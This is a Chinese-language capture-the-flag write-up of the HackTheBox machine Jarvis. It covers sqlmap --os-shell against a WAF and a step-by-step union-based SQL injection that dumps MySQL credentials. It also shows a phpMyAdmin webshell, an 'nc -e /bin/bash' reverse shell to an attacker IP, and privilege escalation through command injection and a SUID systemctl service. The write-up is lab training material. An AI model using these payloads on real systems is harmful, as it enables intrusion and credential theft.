0x00:靶机介绍
这次的靶机是Jarvis。很适合练手,前面拿shell难度一般。难点在提权
0x01:信息收集
这里我先用autorecon进行信息收集。Autorecon集成nmap,nikto等操作可以比较全面的进行端口扫描。用法也比较简单只需要python autrecon.py IP就可以了
同时会把报告保存成txt文件打开report即可,这次开了22和80端口
访问80端口正常回显,无需添加host文件。
下一步开始用dirbuster挖掘目录信息,这次居然有一个phpmyadmin还有一些其它js,css页面。
0x02:利用工具getshell一条龙
往下拉然后再随机打开一个页面经典的?xxx=1
肌肉里面的sqlmap果断激活了,然而这个靶机是有WAF的,这个WAF有点奇怪。你用sqlmap搞普通注入封你90S。但是你用sqlmap直接—os-shell(对注入成功的网站尝试写shell)顺便加个batch(自动填充)直接一步到位
最后直接出现个os-shell代表成功同时输入whoami等命令皆可执行成功
但sqlmap的shell有时候输入其它的命令会进入死机状态不会回显所以需要添加一个新的反弹shell。由于目标是一个Linux靶机一般都配有python所以我们可以参考一波这个各种语言shell大全其中的python shell
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python
这里要稍微修改以下IP和一个新的端口
同时需要开启nc可以得到一个新的稳定shell
0x03:手工注入到getshell
手工注入对于脚本小子而言是一件比较折磨的事。毕竟以前都是sqlmap跑,有WAF提高level级别。不行就下一个更容易。现在重新复习回显错注入了。手工注入这部分比较啰嗦和长可以跳过这部分。
这里首先用最简单的不加任何单引号双引号括号屏蔽用and 1=1测试
10.10.10.143/room.php?cod=1 and 1=1#正常
而换成1=2不正常实锤有注入
10.10.10.143/room.php?cod=1 and 1=2#不正常
接下来就是用order by测试
10.10.10.143/room.php?cod=1 order by 7#正常
10.10.10.143/room.php?cod=1 order by 8#不正常
确认好字段数为7以后需要用到union来爆破显错位,当然还是比较多的。
10.10.10.143/room.php?cod=1 union select 1,2,3,4,5,6,7#无报错点位
10.10.10.143/room.php?cod=-100 union select 1,2,3,4,5,6,7#有报错点位
开始进入查数据库名阶段在2,3,4,5皆可把数字替换成关键词进行查询。这里我选择输出2作为替换点换成database()爆出一个数据库名出来
10.10.10.143/room.php?cod=-100 union select 1,database(),3,4,5,6,7#得到一个数据库
这里我喜欢用group_concat功能直接把所有数据库名都给拖出来
10.10.10.143/room.php?cod=-100 union select 1,group_concat(schema_name),3,4,5,6,7 from information_schema.schemata#得到所有数据库名
这里选择mysql库查看里面的内容(hotel里面的内容并不重要重要的是mysql库)。这里还是用group_concat,由于表太多了,只能复制到文本里面。重要的是最后面有一个user表
http://10.10.10.143/room.php?cod=-100 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='mysql'#查询mysql数据库里面的内容
开始查询user表里面的内容里面有2个关键词User和Password果断选择它们
http://10.10.10.143/room.php?cod=-100 union all select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name='user'#查询user表里面的所有字段内容
最后只得到一个账号和密码
http://10.10.10.143/room.php?cod=-100 union all select 1,group_concat(User,Password),3,4,5,6,7 from mysql.user#查询所有user表里面所有关于User和Password字段的内容
找一个MD5在线解密成功芜湖
此时拿着我们的DBadmin和imissyou密码可以登录phpmyadmin。同时我们可以点击SQL写一句话木马进去。由于是Linux靶机可以大概确定绝对路径为/var/www/html
此时在前端访问成功
此时把语句换为nc-e /bin/bash 10.10.14.23 6666 ,提前开启nc成功接收shell
0x04:提权变成正常用户
开始使用sudo -l发现一个pepper可执行的Python程序。懂了靶机主人的任务罢了
先cd过去用cat看看里面的内容可用ping IP命令,多半可能存在命令执行
同时存在一些过滤符号。但这里没过滤全。比如$(命令)这条漏网之鱼不在那我们就可以利用了。
写一个.sh文件里面包含基础的反弹语句然后利用python模式开启共享模式(不用php的原因是传不上去..)
然后我们苟到/tmp目录下把文件接过来。记得用chmod 777给权限。否则可能运行不了。
开始运行该脚本先输入-p然后输入一个正常的IP后面开始用$()运行我们的反弹脚本
提前开启nc成功接收shell同时可以读取第一个flag。
0x05:二次提权
这次sudo -l倒了只能换成find找找特殊权限,看到一个systemctl
关于提权信息可以参考gtfobin。但这个网站需要小小的魔法帮助。
但需要有亿点点的更改。有个问题就是我们这次运行的systemctl 是运行一个.service文件类型的东西。有点像文本一样所以首先排除echo。其实在ExecStart那个变量最好更改成一个shell这样方便点。(这里我用回上面的python shell)。最后不需要变量$IF
再次用wget传上去以后一定要用link连接否则执行不了。现在开始启动
此时提前开好nc成功接回root的shell提权成功
Bastard属实折磨,三过而打不进去。。。。。